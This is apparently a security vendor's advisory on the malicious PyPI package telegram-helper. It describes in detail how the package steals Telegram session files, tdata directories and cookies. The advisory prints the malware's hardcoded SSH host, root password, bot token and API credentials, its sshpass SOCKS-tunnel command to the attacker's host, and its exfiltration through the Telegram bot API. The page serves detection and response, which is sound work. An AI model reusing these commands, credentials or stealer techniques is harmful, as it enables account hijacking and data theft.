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Malicious package

telegram-helperPyPI

Advisory published Updated

telegram-helper is a confirmed malicious PyPI package (MAL-2026-16017) that steals credentials and exfiltrates sensitive data (malicious versions 0.1.1, 0.1.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in telegram-helper (PyPI)

MAL-2026-16017
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
pip uninstall telegram-helper

What this malware does

telegram_helper describes itself as "A minimal example Python library" and ships a Russian-language template README (the Homepage field is still the unedited placeholder https://github.com/your-username/telegram_helper), but the entire 9,586-byte src/telegram_helper/init.py is a Telegram account-theft toolkit with credentials hardcoded in cleartext: SSH_HOST = "163.5.153.115", SSH_USER = "root", SSH_PASS = "AsQnq6CXk3eCm", BOT_TOKEN = "8948626737:AAEO9HcDgkKgbUXc3uXLt7geH_nK41vlzXg", YOUR_ID = "1625851734", and API_ID/API_HASH 20838706 / d5efb283650598ff4d3570adbbcb8d15.

daemonize() performs a POSIX double-fork plus setsid and redirects stdin/stdout/stderr to /dev/null, or on Windows calls ctypes.windll.user32.ShowWindow(GetConsoleWindow(), 0) to hide the console. start_socks_tunnel() shells out to sshpass -p <PASS> ssh -N -D 127.0.0.1:10808 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null [email protected], and set_proxy_env() then points http_proxy, https_proxy and all_proxy at that SOCKS5 listener, routing subsequent traffic through the author's host with host-key verification disabled.

scan_sessions(), scan_tdata() and scan_cookies() walk ~, /tmp and /root for Telethon/Pyrogram session files (*.session, .session., *.pyrogram, *.ini), Telegram Desktop tdata directories, and any filename containing cookie. check_session_telethon() and check_session_pyrogram() then connect each recovered session to Telegram using the author's own API_ID/API_HASH, call is_user_authorized(), and read back me.id, me.username, me.first_name and me.last_name to validate and label each hijacked account.

full_scan_and_send() exfiltrates every session file via POST https://api.telegram.org/bot<BOT_TOKEN>/sendDocument to chat_id=1625851734 with the enumerated account identity as the caption, ZIP-archives each tdata directory to /tmp/tdata_<name>.zip and uploads it before deleting the archive, uploads every matched cookie file, and posts a summary count via /sendMessage. The module additionally registers Telegram command handlers /scan, /send_tdata, /send_sessions, /send_cookies, /ip and /kill, giving the bot owner an on-demand remote command channel against the victim host.

Notably pyproject.toml declares no dependencies at all while the module imports requests, telegram, telethon and pyrogram, so the package only loads successfully on machines that already have Telegram client libraries installed - i.e. Telegram bot and userbot developers, whose session files are exactly what it targets.

The package hides code that starts a Telegram bot to exfiltrate sensitive session files and cookies

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-09-telegram-helper

Reasons (based on the campaign):

  • The package contains code to execute remote commands (probably limited to a specific set) on the victim's machine.

  • rat

  • files-exfiltration

  • target:telegram

  • uses-telegram-bot

  • exfiltration-browser-data

Malicious versions

2 flagged
0.1.10.1.2

Indicators of compromise (SHA-256)

7db7944f424aaa877ab4c7d4555c4358900d45011b05a886837a14efea2a72a9
90afeb1d39f1ef3d107f2da6a26c4af8c7efb314bb0f272d45fa755119e1b669
bc72c76176d921e22ec30286e0b468d65f8b6318ab27e848907872bfeffaa22c

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for telegram-helper (2 malicious versions).

  2. If you installed it — respond

    telegram-helper is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If telegram-helper was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. telegram-helper on PyPI has been identified as a malicious package (versions 0.1.1, 0.1.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

2026-09-telegram-helperIN-MAL-2026-019756IN-MAL-2026-019790

References

Credits

  • Amazon Inspector · finder
  • Kamil Mańkowski (kam193) · reporter

Detect & block this

O3 blocks telegram-helper-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

telegram-helper (PyPI) malicious package — MAL-2026-16017 | O3 Security